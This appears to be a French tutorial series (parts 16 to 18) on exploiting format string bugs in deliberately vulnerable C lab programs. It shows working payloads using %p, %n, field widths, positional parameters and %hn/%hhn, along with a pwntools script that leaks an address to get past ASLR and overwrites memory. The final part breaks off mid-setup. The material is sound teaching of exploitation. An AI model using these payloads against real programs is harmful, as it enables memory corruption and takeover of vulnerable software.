0x20000-0xf14c35c0-0x60fc5209-(nil)-(nil)-0x62a891a0-0x252d7025-0x70252d70-0x2d70252d-Ciao bye ! Mettre un tiret - entre les %p n’est pas obligatoire, cela permet seulement de rendre l’affichage des valeurs plus lisible. Le nombre de spécificateurs %p utilisés est choisi au hasard sans pour autant qu’il ne soit trop petit sinon très peu de valeurs seront affichées.On a : la valeur 0x20000 qui est la taille du buffer utilisé pour stocker notre saisie ; plusieurs pointeurs ; de l’ASCII (0x252d7025-0x70252d70-0x2d70252d) qui n’est autre que notre saisie : %p-%p-.... Sachant que buffer est stocké en tant que variable locale, son contenu est présent sur la pile. C’est pourquoi, en affichant suffisamment de valeurs avec %p on finit par afficher le contenu de buffer.Logiquement, on sait que le pointeur val se trouve avant buffer, qu’il s’agit d’un pointeur et qu’il est, a priori, non nul. Cela réduit les potentielles cibles à 0xf14c35c0-0x60fc5209-0x62a891a0, c’est-à-dire la 2ème ou 3ème ou 6ème valeur affichée (en partant de 1) : Il est possible que vous ayez un affichage différent de ce qui est présent dans ce cours. Ce n’est pas grave, le plus important est de bien comprendre la méthodologie employée.Afficher le contenu de ces valeursNous avons vu au chapitre précédent qu’il est possible d’afficher le contenu d’un pointeur avec le spécificateur %s. C’est le moment de s’en servir !Commençons par afficher le contenu de la deuxième valeur :$ ./exercice_1%p-%sEntree utilisateur : 0x20000-�\"����\\��\\��\\��\\��\\��\\��\\��\\Ciao bye !Le contenu du pointeur n’est pas de l’ASCII, c’est pourquoi nous avons cet affichage bizarroïde. Utilisons xxd afin d’afficher le contenu en hexadécimal :$ echo -n \"%p-%s\" | ./exercice_1 | xxd 00000000: 456e 7472 6565 2075 7469 6c69 7361 7465 Entree utilisate00000010: 7572 203a 200a 3078 3230 3030 302d 9820 ur : .0x20000-. 00000020: adfb b061 5261 b061 5261 b061 5261 b061 ...aRa.aRa.aRa.a00000030: 5261 b061 5261 b061 5261 b061 5261 b071 Ra.aRa.aRa.aRa.q00000040: 5261 4369 616f 2062 7965 2021 0a RaCiao bye !.Nous ne trouvons pas la valeur 0xdeadbeef. Passons à la prochaine cible, la 3ème valeur :$ echo -n \"%p-%p-%s\" | ./exercice_1 | xxd00000000: 456e 7472 6565 2075 7469 6c69 7361 7465 Entree utilisate00000010: 7572 203a 200a 3078 3230 3030 302d 3078 ur : .0x20000-0x00000020: 6634 3539 6235 6330 2d81 c3b7 2d43 6961 f459b5c0-...-Cia00000030: 6f20 6279 6520 210a o bye !.Idem, rien de spécial. Passons à la dernière cible, la 6ème valeur :$ echo -n \"%p-%p-%p-%p-%p-%s\" | ./exercice_1 | xxd00000000: 456e 7472 6565 2075 7469 6c69 7361 7465 Entree utilisate00000010: 7572 203a 200a 3078 3230 3030 302d 3078 ur : .0x20000-0x00000020: 6539 3438 3235 6330 2d30 7836 3430 6263 e94825c0-0x640bc00000030: 3230 392d 286e 696c 292d 286e 696c 292d 209-(nil)-(nil)-00000040: [efbe adde] 4369 616f 2062 7965 2021 0a ....Ciao bye !.Enfin ! Nous sommes tombés sur le pointeur val dont le contenu est bien 0xdeadbeef (cf les valeurs à la dernière ligne entre crochets). Ainsi, en remplaçant %s par %n, le programme va modifier la valeur du 6ème pointeur, à savoir val.Contrôler la valeur écriteBon, maintenant il va falloir écrire la valeur 0x1337 à l’adresse pointée par ce pointeur afin de réussir l’exercice.Pour rappel, %n écrit dans le pointeur adéquat le nombre d’octets qui ont déjà été affichés jusque-là, après substitution des spécificateurs.Comptons le nombre d’octets affichés par notre chaîne de format avant d’arriver à [efbe adde] (aka 0xdeadbeef). Il y en a len('0x20000-0xf6cc75c0-0x5b76c209-(nil)-(nil)-') == 42. On ne prend pas en compte les octets de la chaîne Entree utilisateur :\\n qui a été affichée grâce à la fonction puts et non pas grâce à notre chaîne de format.Il nous reste à faire en sorte d’écrire 0x1337 - 42 == 4877 caractères (ou octets) avant que le spécificateur %n ne soit traité. Nous pouvons le faire en Python avec :$ python3 -c 'print(\"%p-%p-%p-%p-%p-\" + \"A\"*4877 + \"%n\")' | ./exercice_1Entree utilisateur : 0x20000-0xf25c75c0-0x62c82209-(nil)-(nil)-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A(...)Bravo ! Tu fais partie de l'elite !Que s’est-il passé concrètement ?Le programme a traité les 5 premiers spécificateurs %p en utilisant les 5 premières valeurs trouvées sur la pile. Lors du traitement du spécificateur %n, le programme écrit, à l’adresse pointée par la 6ème valeur (val) le nombre d’octets affichés jusque-là : 4919 (ou 0x1337) :L’erreur à ne pas faire dans cet exercice est de déterminer le nombre de caractère à écrire en prenant en compte ce qui a été écrit avant la substitution des spécificateurs.Exercice n°2 : Modifier une valeur en mémoire avec un petit bufferReprenons le même programme sauf que cette fois-ci, le buffer est bien plus petit :#include &lt;stdio.h&gt;#include &lt;stdlib.h&gt;#include &lt;time.h&gt;#include &lt;stdint.h&gt;// Compilation : gcc -g -m32 exercice_2.c -o exercice_2int main() { char buffer[0x200]= {0}; // 0x20000 -&gt; 0x200 int *val = (int *)malloc(sizeof(int)); *val = 0xdeadbeef; fgets(buffer,sizeof(buffer), stdin); puts(\"Entree utilisateur : \"); printf(buffer);\tif(*val == 0x1337) { puts(\"Bravo ! Tu fais partie de l'elite !\"); } else { puts(\"Ciao bye !\"); } return 0;}Accès au conteneur Docker : ⬇️ Téléchargement : pwn-fmt-exo-2.zip 🔎 SHA256 &amp; Analyse Virus Total : dc074f9a7c9833ce4df9e0b1eacb0f55e2c5be583264ec6f35db0a7f74deab07 ⚙️ Construction et lancement du conteneur :docker build -t pwn-fmt-exo-2 .docker run -it --rm -p 1234:1234 --cap-add=SYS_PTRACE --security-opt seccomp=unconfined pwn-fmt-exo-2Bon, on ne va pas réexpliquer comment modifier val car la configuration est quasiment identique. On peut ptet’ déjà réessayer de l’exploiter avec le même payload ?Bonne idée :python3 -c 'print(\"%p-%p-%p-%p-%p-\"+\"A\"*4877+\"%n\")' | ./exercice_2Entree utilisateur : 0x200-0xf3da65c0-0x5909b1e8-0x100-(nil)-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA(...)Ciao bye !Ça n’a plus l’air de marcher 😢. Comme notre saisie fait plus de 0x1000 octets et que le programme en lit, au plus, 0x200, cela ne fonctionne plus.Comment l’exploiter avec un plus petit buffer ?En vue de réussir l’exploitation du programme, nous devons trouver un moyen d’écrire beaucoup d’octets avec … moins d’octets dans la chaîne de format. Je sais ça paraît très chelou cette histoire mais vous allez vite comprendre de quoi il s’agit 😅.Prenons l’exemple suivant en python : lorsque je souhaite écrire 1000 fois le caractère “A”, il suffit d’écrire : print(\"A\"*1000). Cela affichera 1000 caractères. Comptons le nombre de caractères dont nous avons eu besoin pour y parvenir : len('\"A\"*1000') == 8. Ainsi, il nous suffit d’avoir un buffer de 8 octets pour en afficher 1000. Bah c’est exactement ce que l’on a fait avec python -c 'print(\"%p-%p-%p-%p-%p-\" + \"A\"*4877 + \"%n\")' | ./exe non ? Nous avons utilisé moins de 0x200 caractères.Attention ⚠️ , nous avons utilisé moins de 0x200 caractères dans la fonction python. En revanche, la chaîne de format qui sera donnée en tant qu’entrée utilisateur au programme est, in fine : %p-%p-%p-%p-%p-AAAAAAAAAAAAAA(...)AAAAAAAAAAAAAAAAAAAAA%n. Celle-ci fait bien plus de 1000 caractères.Utilisation de la largeur de champAfin de contourner cette restriction, nous allons utiliser, tout simplement, une fonctionnalité disponible pour certains spécificateurs : la largeur de champ.Il s’agit d’un nombre, appelons-le N, qu’il est possible de préciser dans un spécificateur de format afin que, lors de sa substitution, au moins N caractères soient utilisés pour l’afficher. Si la taille de la valeur à afficher n’est pas assez grande, des espaces (par défaut) sont ajoutés avant la valeur afin d’avoir au moins N caractères affichés.Pour comprendre le fonctionnement, je vous propose d’utiliser la saisie suivante :$ ./exercice_2%6pEntree utilisateur : 0x200Ciao bye !En ajoutant le chiffre 6 dans %6p, printf fera en sorte d’afficher au moins 6 caractères lors de la substitution du spécificateur. Comme 0x200 est constitué de 5 caractères, un espace est ajouté en préfixe.En augmentant la taille de la largeur de champ, cela devient bien plus visible :$ ./exercice_2 %1000p Entree utilisateur : 0x200 Ciao bye !Mine de rien, avec len(\"%1000p\") == 6 caractères, nous avons pu en afficher plus de 1000. Pas mal non 😎 ? En mettant un 0 ou un . devant la largeur de champ (ex : %06p et %.6p) le programme utilisera le caractère 0, au lieu d’un espace, pour faire en sorte d’afficher au moins N octets.Résolution de l’exercice 2Nous allons partir de la précédente solution et la modifier afin qu’elle puisse servir de solution pour l’exercice n°2.Voici ce qui était donné à printf : %p-%p-%p-%p-%p-AAAAA(...)AAAAAA%n. Etant donné que nous ne pouvons pas nous permettre d’écrire autant de caractères 'A' en raison d’une taille plus petite du buffer utilisons la fonctionnalité de largeur de champs. On peut faire un truc du genre : %p-%p-%p-%p-%p-%4877n ?C’est presque l’idée. Le problème est que préciser une largeur de champ au spécificateur %n n’a aucun effet 🙅‍♂️ vu qu’il n’est pas censé afficher de valeur. Par contre, nous pouvons l’utiliser sur le spécificateur %p situé juste avant %n :$ echo '%p-%p-%p-%p-%4877p-%n' | ./exercice_2Entree utilisateur :(...)Ciao bye !Ce n’est pas encore ça mais on y est presque. En mettant un point d’arrêt dans gdb à lors de la comparaison if(*val == 0x1337) nous comprenons d’où vient le problème :Nous avons réussi à écrire 0x1330 dans val. Il nous reste encore à écrire 7 caractères pour avoir la valeur attendue :$ echo '%p-%p-%p-%p-%4884p-%n' | ./exercice_2Entree utilisateur :(...)Bravo ! Tu fais partie de l'elite ! Si vous ne comprenez pas d’où provient la valeur 4884, rappelez-vous que %n ne compte les caractères affichés qu’une fois que tous les précédents spécificateurs ont été substitués. En l’occurrence, avec %p-%p-%p-%p-%p- nous obtenons par exemple : len('0x200-0xe9ad85c0-0x56f7a1e8-0x100-(nil)-') == 40 caractères. Il nous reste donc : 0x1337 - 40 == 4879 caractères à écrire. Sachant que nous allons ajouter une largeur de champ au dernier spécificateur %p (celui qui affiche (nil)), il faut déduire ces 5 caractères de 40 ➡️ 40 - 5 == 35 (sinon cela revient à compter (nil) deux fois). Au final, ce ne sont pas 0x1337 - 40 caractères à écrire mais 0x1337 - 35 == 4884 et là, le compte est bon 🥳 !Exercice n°3 : Modifier une valeur en mémoire avec un buffer minusculeEt si on poussait le bouchon encore plus loin 😏 ? Saurez-vous résoudre l’exercice suivant lorsque buffer ne dispose plus que de 0x10 octets ?#include &lt;stdio.h&gt;#include &lt;stdlib.h&gt;#include &lt;time.h&gt;#include &lt;stdint.h&gt;// Compilation : gcc -g -m32 exercice_3.c -o exercice_3int main() { char buffer[0x10]= {0}; // 0x200 -&gt; 0x10 int *val = (int *)malloc(sizeof(int)); *val = 0xdeadbeef; fgets(buffer,sizeof(buffer), stdin); puts(\"Entree utilisateur : \"); printf(buffer);\tif(*val == 0x1337) { puts(\"Bravo ! Tu fais partie de l'elite !\"); } else { puts(\"Ciao bye !\"); } return 0;}Accès au conteneur Docker : ⬇️ Téléchargement : pwn-fmt-exo-3.zip 🔎 SHA256 &amp; Analyse Virus Total : ebcb04c28a895728009a7d6bc3635ac5e88bd90d5566c9ab670de5c48883a6cb ⚙️ Construction et lancement du conteneur :docker build -t pwn-fmt-exo-3 .docker run -it --rm -p 1234:1234 --cap-add=SYS_PTRACE --security-opt seccomp=unconfined pwn-fmt-exo-3Vous vous en doutez, la solution du précédent exercice ne peut plus être utilisée car elle a une taille de len('%p-%p-%p-%p-%4884p-%n') == 21 octets et que nous pouvons en utiliser au plus 16.Pour y parvenir, découvrons une nouvelle fonctionnalité des chaînes de format : les paramètres positionnels (ou positional parameter 🇬🇧).Utilisation de paramètres positionnelsEncore un terme barbare pour une fonctionnalité très pratique. Vous vous souvenez ? Lorsque nous voulions écrire au 6ème argument de printf nous étions obligés de précéder %n par 5 spécificateurs %p. Imaginez si nous pouvions directement spécifier l’index du paramètre sur lequel un spécificateur est appliqué.Cela est possible, justement, grâce au paramètre positionnel !Rappel sur l’ordre de de consommation des arguments par les spécificateursRevenons quelques instants à l’exercice 2 et utilisons l’entrée suivante :$ echo '%p-%p-%p-%p-%p' | ./exercice_2 Entree utilisateur : 0x200-0xea0f65c0-0x5af0f1e8-0x100-(nil) Ciao bye !Les valeurs sont affichées dans l’ordre où elles sont lues dans la pile. Vous pouvez le constater de vous-même en mettant un point d’arrêt dans gdb avant printf(buffer) : Sur certaines valeurs, des différences sont observables sur les octets de poids fort en raison de l’ASLR. Il est tout de même possible de s’y retrouver grâce à l’octet et demi de poids faible de ces valeurs.En se basant sur l’état de la pile, l’appel à printf revient à faire :printf(\"%p-%p-%p-%p-%p\",0x200,0xf7f995c0,0x565561e8,0x100,0);Fonctionnement des paramètres positionnelsCeci était un petit rappel. Analysons maintenant comment utiliser les paramètres positionnels pour modifier l’ordre dans lequel les arguments sont “consommés”.Un spécificateur peut avoir un ou aucun paramètre positionnel. Ce dernier est précisé en utilisant le caractère $. Par exemple : %2$p, %1$c et même %10$n. En effet, bien que le spécificateur %n n’accepte pas de largeur de champ, il accepte néanmoins un paramètre positionnel.Pour faire simple : un paramètre positionnel est un index que l’on attribue à un spécificateur.Prenons l’exemple suivant :echo '%5$p-%4$p-%3$p-%2$p-%1$p' | ./exercice_2Entree utilisateur : (nil)-0x100-0x5a8e41e8-0xf26005c0-0x200Ciao bye !Grâce à l’utilisation du paramètre positionnel, nous pouvons même inverser l’ordre dans lequel les arguments sont utilisés.Le nombre d’apparitions d’un index n’est pas limité :echo '%4$p-%4$p-%4$p-%4$p-%4$p-%4$p-%4$p' | ./exercice_2 Entree utilisateur : 0x100-0x100-0x100-0x100-0x100-0x100-0x100Ciao bye !Par ailleurs, il est possible de combiner : la largeur de champ (ex : %100p) ; un paramètre positionnel (ex : %4$p).Cela peut être fait de cette manière :Il y a pas mal de caractères utilisés, on dirait presque une regex. Mais au moins cela permet, en utilisant un seul spécificateur de : préciser l’index du paramètre sur lequel appliquer le spécificateur ➡️ index n°4 ; préciser le nombre minimum de caractères à afficher ➡️ 100 caractères.Pour s’y retrouver il suffit de se rappeler de ce qui est avant et après le signe $ : avant ➡️ paramètre positionnel ; après ➡️ largeur de champ.Un moyen mnémotechnique pour se rappeler de cet ordre est l’université P$L (Paris Sciences et Lettres). Il est pas ouf mais on fait avec les moyens du bord que voulez-vous que je vous dise 🙃.Résolution de l’exercice 3Et si nous résolvions le 3ème exercice ? Nous disposons désormais de tout ce qu’il faut. Nous avons besoin d’écrire : 0x1337 == 4919 octets ; dans l’adresse pointée par le 6ème argument.Comme %n n’accepte pas de largeur de champ, il n’est pas possible d’utiliser simplement : %6$4919n. Par contre, nous pouvons toujours spécifier l’index du paramètre avec %6$n. Pour afficher 4919 caractères, nous pourrons le faire précéder d’un classique %4919p :$ echo '%4919p%6$n' | ./exercice_3 Entree utilisateur : (...)Bravo ! Tu fais partie de l'elite !Pas mal non 😎 ?📋 SynthèseA travers cette série d’exercices, nous avons appris à écrire des valeurs arbitraires à une adresse pointée par un pointeur situé sur la pile. De plus, nous avons pu découvrir deux fonctionnalités des chaînes de format qui sont très utiles en pwn : Fonctionnalité Utilité en pwn Exemples Largeur de champ Ecrire un nombre arbitraire d’octets lors de la substitution d’un spécificateur. Permet notamment d’écrire beaucoup de données lorsque l’on ne dispose pas d’un grand buffer. %213p, %.456c, %01234x Paramètre positionnel Choisir l’argument sur lequel s’appliquera un spécificateur à partir de son index (dans la pile). %7$n, %12p, %3s " }, { "title": "Partie 17 - Exploiter les format strings - primitives avancées d’écriture mémoire (3/5)", "url": "/posts/introduction_au_pwn_partie_17/", "categories": "Pwn, Introduction au pwn", "tags": "x86, pwn, linux", "date": "2026-04-22 08:00:00 -0200", "snippet": "Exploiter les format strings : primitives avancées d’écriture mémoire (3/5)Vous pensiez en avoir fini avec les chaînes de format 😆 ? Que nenni ! Nous avons encore quelques fonctionnalités à voir qu...", "content": "Exploiter les format strings : primitives avancées d’écriture mémoire (3/5)Vous pensiez en avoir fini avec les chaînes de format 😆 ? Que nenni ! Nous avons encore quelques fonctionnalités à voir qui se révéleront très utiles en temps voulu.Comme la dernière fois, je vous propose de les découvrir via la résolution d’exercices de complexité croissante : l’utilisation des spécificateurs %hn et %hhn ; astuce : contrôler l’adresse à laquelle écrire ; exploitation des chaînes de format en 64 bits ; quelques bonus 😉.Exercice n°4 : Modifier une valeur en mémoire avec une très grande valeurVoici l’exercice à résoudre :#include &lt;stdio.h&gt;#include &lt;stdlib.h&gt;#include &lt;time.h&gt;#include &lt;stdint.h&gt;// Compilation : gcc -g -m32 main.c -o exeint main() { char buffer[0x100]= {0}; int *val = (int *)malloc(sizeof(int)); *val = 0xcafebabe; printf(\"&gt; \"); while(fgets(buffer,sizeof(buffer), stdin)) { puts(\"Entree utilisateur : \"); printf(buffer); printf(\"&gt; \"); } if(*val == 0xdeadbeef) { puts(\"Bravo ! Tu fais partie de l'elite !\"); } else { puts(\"Ciao bye !\"); } return 0;}Accès au conteneur Docker : ⬇️ Téléchargement : pwn-fmt-exo-4.zip 🔎 SHA256 &amp; Analyse Virus Total : 975982c662fe77fe57f2f72dfc45cb33070a3fb1136fc4eeea4154e80bc5d200 ⚙️ Construction et lancement du conteneur :docker build -t pwn-fmt-exo-4 .docker run -it --rm -p 1234:1234 --cap-add=SYS_PTRACE --security-opt seccomp=unconfined pwn-fmt-exo-4Il y a principalement deux différences avec les 3 précédents exercices : le programme lit en boucle l’entrée ; la valeur à écrire en mémoire n’est plus 0x1337 mais 0xdeadbeef. Pour fermer l’entrée standard sans quitter le programme, vous pouvez utiliser Ctrl + D.Commençons par l’approche naïve, ça ne mange pas de pain. Le précédent payload que nous avions utilisé pour écrire 0x1337 est %4919p%6$n. Modifions-le pour écrire 0xdeadbeef == 3735928559 :echo '%3735928559p%6$n' | ./exercice_4 &gt; Entree utilisateur : &gt; Ciao bye !Cela n’a pas marché, le nombre de caractères écrits est beaucoup trop grand 😕 …Ecrire de petites valeurs avec %hn et %hhnIl va falloir revoir notre stratégie d’écriture en mémoire. Et même plus que ça. Tout d’abord voyons à quoi servent les spécificateurs %hn et %hhn.Ces spécificateurs sont dérivés, en quelque sorte, du spécificateur %n. Ils permettent en effet d’écrire une valeur dans la zone mémoire pointée par un pointeur. La seule différence est le nombre de caractères écrits, plus précisément, le type considéré pour la valeur pointée. Euuh je gombron bas.En utilisant man 3 printf, nous pouvons lire dans la section Length modifier les lignes suivantes :hh A following integer conversion corresponds to a signed char or unsigned char argument, or a following n conversion corresponds to a pointer to a signed char argument. h A following integer conversion corresponds to a short or unsigned short argument, or a following n conversion corresponds to a pointer to a short argument.En ajoutant le caractère h dans %n, le spécificateur %hn va considérer que le pointeur, qu’il utilise pour écrire vers la zone mémoire pointée, est de type short *, c’est-à-dire un pointeur vers une valeur de 2 octets.De la même manière, il est possible d’être plus précis en utilisant %hhn auquel cas le spécificateur considère que le pointeur utilisé est un pointeur de type char *, c’est-à-dire une valeur de 1 octet.Pour l’instant, vous ne voyez peut-être pas encore l’intérêt de modifier la manière dont va être considéré le type du pointeur. En fait, cela va permettre d’être plus précis dans le nombre d’octets que l’on écrit.Voyons un exemple concret pour comprendre leur utilité : nous avons précédemment vu qu’il n’est pas possible d’écrire d’un coup 0xdeadbeef. En revanche, ce que l’on pourrait faire c’est, au lieu d’écrire 4 octets en une seule fois, écrire 2 octets deux fois : Ce schéma a été simplifié par souci de clarté. Nous verrons plus loin comment faire pour choisir exactement à quelle adresse écrire une valeur.Sur le papier, ça a l’air d’être une superbe idée. Sauf qu’en réalité, si un tel scénario était appliqué avec le spécificateur %n, la valeur de *val serait : 0x0000beef. Ce qui est logique car %n considère val comme un pointeur vers un int. Ainsi, lui demander d’écrire 0xbeef revient à lui demander d’écrire 0x0000beef. On n’aurait pas pu écrire 0x0000beef en premier puis 0x0000dead ensuite afin d’avoir 0x0000deadbeef ?On aurait pu le faire effectivement. Le souci est que cela écrira 2 octets nuls en plus dans une autre variable. Ce n’est pas toujours problématique mais apprenons à faire les choses proprement 😄.Vous voyez désormais l’utilité de %hn ? Sachant qu’il considère val comme un pointeur de type short *, en lui demandant d’écrire une valeur sur 2 octets ( ex : 0xdead ), il n’écrira pas plus de 2 octets.De même, en utilisant %hhn, val est considéré comme un pointeur de type char *. En lui demandant d’écrire un octet ( ex : 0xad), il n’écrira pas plus de 1 octet.Modifier arbitrairement l’adresse à laquelle écrireNous avons trouvé une solution pour ne plus déborder et écrire exactement le nombre d’octets dont nous avons besoin. Sauf que nous allons nous heurter à une autre problématique.À l’index 6 de la pile, au moment de l’appel à printf, se trouve l’adresse de val, supposons par exemple 0x555555a0. Le problème est que, quel que soit le spécificateur de format utilisé, nous ne pourrons écrire qu’à cette adresse précise (0x555555a0), et pas à un (0x555555a1) ou deux octets (0x555555a2) plus loin en mémoire.Cela est très embêtant : si on souhaite écrire 0xdeadbeef en 2 fois deux octets, nous avons besoin d’écrire : 0xbeef à l’adresse 0x555555a0 ; 0xdead à l’adresse 0x555555a2.Sauf qu’à ce stade, rien ne nous permet de modifier 0x555555a0 en 0x555555a2 😢.J’ai toutefois une bonne nouvelle. Vous souvenez-vous de ce qui se passe lorsque l’on utilise beaucoup, vraiment beaucoup de fois %p ?Nous finissons par retomber sur les premiers caractères de notre chaîne de format ! À ce stade, votre esprit de pwneur averti devrait déjà entrevoir la suite 😏. Nous contrôlons les caractères de la chaîne de format, nous pouvons ainsi y écrire tout ce que l’on souhaite. Et dans “tout”, il y a “adresse mémoire” 😉.Imaginons que l’adresse de val soit 0x555555a0. Utilisons l’entrée suivante :echo -e \"\\xa2\\x55\\x55\\x55%p-%p-%p-%p-%p-%p-%p-%p-%p-%p\" | ./exercice_4&gt; Entree utilisateur : �UUU0x100-0xf5c045c0-0x566eb1e8-(nil)-(nil)-0x573fa1a0-0x555555a2-0x252d7025-0x70252d70-0x2d70252dA l’index n°7 nous avons l’adresse 0x555555a2. Ainsi, en utilisant %7$hn, nous pouvons enfin écrire 0xdead dans les 2 octets de poids fort de val, c’est-à-dire à l’adresse 0x555555a2. L’astuce est donc de réutiliser notre propre entrée utilisateur pour contrôler l’adresse à laquelle le programme va écrire.Résolution de l’exercice n°4Nous avons enfin les outils pour résoudre l’exercice : l’utilisation de %hhn (ou %hn) afin de contrôler le nombre d’octets écrits ; la réutilisation des premiers caractères de notre saisie pour contrôler l’adresse à laquelle écrire.Je vous propose de résoudre cet exercice ensemble car il y a encore quelques subtilités à voir. Utilisons un script pour résoudre l’exercice, ce sera plus commode. En voici les premières lignes :from pwn import *io = process(\"./exercice_4\")Les deux principaux objectifs sont les suivants : écrire 0xbeef dans les 2 octets de poids faible ; écrire 0xdead dans les 2 octets de poids fort.Pour la première étape, cela est possible en utilisant directement l’adresse à l’index n°6 étant donné qu’elle pointe déjà vers l’octet de poids faible de val. En revanche, il va falloir que l’on écrive l’adresse de val + 2 sur la pile afin de pouvoir y écrire 0xdead.L’ASLR est activée, nous n’allons pas pouvoir déterminer à l’avance l’adresse de val. Cependant, l’affichage de la chaîne de format est réalisée en boucle. Nous pouvons donc faire fuiter l’adresse de val et contourner de ce fait l’ASLR :from pwn import *io = process(\"./exercice_4\")# Recuperation de l'adresse de la variable \"val\"io.sendline(b\"%6$p\")data=io.recv()addr_val_hex = data.split(b\"\\n\")[-2].decode()addr_val = int(addr_val_hex,16)print(\"L'adresse de 'val' : \",hex(addr_val))A présent, il nous suffit de construire un payload de cette forme :[adresse_de_val + 2] [%XXXXp%6$hn] [%YYYYp%7$hn]De cette manière : 0xbeef sera écrit à l’adresse (val) pointée par l’index n°6 ; 0xdead sera écrit à l’adresse (val + 2) pointée par l’index n°7. Comme le nombre 0xbeef est plus petit que 0xdead, nous sommes obligés de l’écrire en premier (via l’index n°6). %hn écrit le nombre d’octets déjà affichés. Or, lors de la seconde utilisation de %hn, si on avait écrit 0xdead en premier, on aurait dû forcément écrire une valeur plus grande que 0xdead la deuxième fois. Cela n’aurait donc pas permis d’écrire 0xbeef. Il faut donc toujours veiller à écrire la plus petite valeur en premier.Evidemment, il ne nous reste à trouver les bonnes valeurs à utiliser à la place de XXXX et YYYY.[%XXXXp%6$hn]Trouvons quelle valeur doit remplacer XXXX afin d’écrire 0xbeef. Il y a l’adresse de val + 2 qui est écrite. Cela constitue 4 octets déjà écrits. Il suffit donc d’écrire : 0xbeef - 4 == 48875 octets.XXXX sera remplacé par 48875.[%YYYYp%7$hn]Pour ce qui est de YYYY c’est facile, nous avons déjà écrit 0xbeef octets, il ne nous reste plus qu’à en écrire : 0xdead - 0xbeef == 8126.YYYY sera remplacé par 8126.Finalisation du payloadMettons tout cela bout à bout :from pwn import *io = process(\"./exercice_4\",stdin=PTY,raw=False)# Recuperation de l'adresse de la variable \"val\"io.sendline(b\"%6$p\")data=io.recv()addr_val_hex = data.split(b\"\\n\")[-2].decode()addr_val = int(addr_val_hex,16)print(\"L'adresse de 'val' : \",hex(addr_val))# Ecriture de 0xbeef puis 0xdeadio.sendline(p32(addr_val+2)+b\"%48875p%6$hn\"+b\"%8126p%7$hn\")io.recvuntil(b\"&gt; \") # Ignorer les caracteres precedemment envoyesio.send(b\"\\x04\") # Fermer stdin avec CTRL + Dprint(io.recv()) Astuce pwntools : la première ligne io = process(\"./exercice_4\",stdin=PTY,raw=False) a été modifiée afin de pouvoir fermer facilement stdin avec Ctrl + D en envoyant l’octet \\x04. Gardez cette astuce en tête, elle pourra vous être utile plus d’une fois 😉.Voici comment la chaîne formatée que nous avons construite va s’appliquer sur les différents éléments de la pile :Le résultat 😎 :$ python3 sol_exo_4.py[+] Starting local process './exercice_4': pid 116110L'adresse de 'val' : 0x5914b1a0Bravo ! Tu fais partie de l'elite ![*] Process './exercice_4' stopped with exit code 0 (pid 116110)Exercice n°4 bisMaintenant, à vous de jouer : résoudre le même exercice mais cette fois-ci, en utilisant %hhn au lieu de %hn. Cela vous permettra de voir si vous avez vraiment compris le principe.Exploiter les chaînes de format en 64 bitsIl n’y a pas tellement de différences si ce n’est la convention d’appel de printf qui change dans les programmes 64 bits. En utilisant la chaîne de format suivante, voici comment sont récupérées les valeurs selon l’architecture utilisée %p-%p-%p-%p-%p-%p-%p-%p : 32 bits : affiche les 8 premières valeurs présentes sur la pile (sauf la première qui contient buffer) ; 64 bits : affiche, dans cet ordre, les valeurs contenues dans : rsi, rdx, rcx, r8, r9 puis les 3 premières valeurs présentes sur la pile.En compilant l’exercice 4 en 64 bits, il est possible d’observer la manière dont sont affichées les valeurs en mettant un point d’arrêt sur printf(buffer);. En affichant les valeurs des registres et des premières valeurs de la pile, nous pouvons constater la manière dont sont affichées les valeurs en suivant la convention d’appel :Pour le reste, c’est tout pareil 😄 !📋 SynthèseGrâce à la réalisation de cet exercice, nous avons pu découvrir deux astuces utilisables lors de l’exploitation de chaînes de format : l’utilisation de %hn et %hhn afin de mieux contrôler le nombre d’octets que l’on écrit ; la réutilisation des premiers caractères de notre saisie afin de choisir l’adresse à laquelle écrire." }, { "title": "Partie 18 - Exploiter les format strings - bonus (4/5)", "url": "/posts/introduction_au_pwn_partie_18/", "categories": "Pwn, Introduction au pwn", "tags": "x86, pwn, linux", "date": "2026-04-21 08:00:00 -0200", "snippet": "Exploiter les format strings : bonus (4/5)✨ Quelques bonus ✨1️⃣ Bonus n°1 : Copier le contenu d’un index vers une adresse pointée depuis un autre indexIl existe une astuce qui peut être utile lorsq...", "content": "Exploiter les format strings : bonus (4/5)✨ Quelques bonus ✨1️⃣ Bonus n°1 : Copier le contenu d’un index vers une adresse pointée depuis un autre indexIl existe une astuce qui peut être utile lorsque l’on souhaite copier directement une valeur intéressante en mémoire vers une adresse pointée par un pointeur.Comme le titre n’est pas très explicite, voici un exemple pour comprendre de quoi il s’agit : addr est un pointeur situé sur la pile à l’index n°4 qui pointe vers une valeur quelconque ; nous souhaitons modifier cette valeur pointée par le contenu de l’index n°2, à savoir 0xaabbccdd ; une fois cette copie réalisée, la valeur pointée par addr sera 0xaabbccdd.Pour que l’utilité de cette astuce soit encore plus claire, utilisons le programme suivant :#include &lt;stdio.h&gt;#include &lt;stdlib.h&gt;// Compilation : gcc -g -m32 main.c -o exevoid bravo(){ puts(\"Bravo !\"); exit(213);}void echec(){ puts(\"Echec ...\"); exit(1);}int main() { char buffer[0x100]= {0}; void *addr_bravo = bravo; void *addr_echec = echec; void (**func_ptr)(void) = malloc(sizeof(*func_ptr)); *func_ptr = addr_echec; // Lecture et affichage de la FMT fgets(buffer,sizeof(buffer), stdin); printf(buffer); // Appeler la fonction pointee (*func_ptr)(); return 0;}Accès au conteneur Docker : ⬇️ Téléchargement : pwn-fmt-exo-bonus-1.zip 🔎 SHA256 &amp; Analyse Virus Total : e9af5077d6cebf7fda1f42068d7bcd94d452ce23b9c530bb5458d09f151af29e ⚙️ Construction et lancement du conteneur :docker build -t pwn-fmt-exo-bonus-1 .docker run -it --rm -p 1234:1234 --cap-add=SYS_PTRACE --security-opt seccomp=unconfined pwn-fmt-exo-bonus-1Le programme est écrit d’une manière assez bizarre, je vous l’accorde. Il lit puis affiche une chaîne de format avant d’exécuter la fonction pointée par func_ptr qui devrait, normalement 🙄, toujours être echec.Pas besoin de s’étendre davantage, vous avez compris notre mission : faire en sorte que la fonction bravosoit appelée.Une fois le programme compilé, il est possible d’investiguer les adresses suivantes 